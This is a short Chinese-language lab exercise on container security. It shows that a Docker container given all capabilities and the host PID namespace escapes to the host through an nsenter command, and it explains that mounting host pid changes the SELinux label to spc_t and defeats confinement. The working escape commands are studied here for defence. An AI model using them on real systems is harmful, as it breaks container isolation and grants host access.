作業9 題目 : 跟當初驗證 Apparmor 機制一樣,但假如給予今天給予容器所有的能力並掛載 host pid,到底是否能夠順利逃逸呢? 假如可以的話,驗證一下為何 SELinux 無法防守住。
解答 : 首先打開 CentOS 7 建立環境,步驟如下所示 :
# 先確認 SELinux 是否啟動,必須看到 selinux 字樣
docker info | grep Security -A3 ;
docker run -it --rm --cap-add ALL --pid host aeifkz/my-ubuntu:v1.0 bash ;
# 進行 nsenter 逃逸手法,結果成功 = =
nsenter -m -u -i -n -p -t 1 bash ;
# 退出 shell
exit ;
# 看一下目前的 process 的 Label 到底打了甚麼
ps Z ;
exit ;
從上面可以觀察出標籤打了 spc_t,但這個標籤到底大不大呢? 用特權容器測試之後發現這兩個標籤一模一樣,推測應該蠻大的。
# 特權容器標籤為 spc_t
docker run -it --rm --privileged aeifkz/my-ubuntu:v1.0 ps Z ;
# 有全部能力的容器標籤為 container_t
docker run -it --rm --cap-add ALL aeifkz/my-ubuntu:v1.0 ps Z ;
# 只掛host pid的標籤為 spc_t
docker run -it --rm --pid host aeifkz/my-ubuntu:v1.0 ps Z ;
所以這邊可以得到一個結論,有全部 cap 能力的容器 selinux 標籤保持 container_t ,但一旦把 host pid 掛載上去之後就會變成 spc_t ,所以掛載 host pid 的使用上要小心,等同於變相關閉容器的 selinux 的防禦機制 。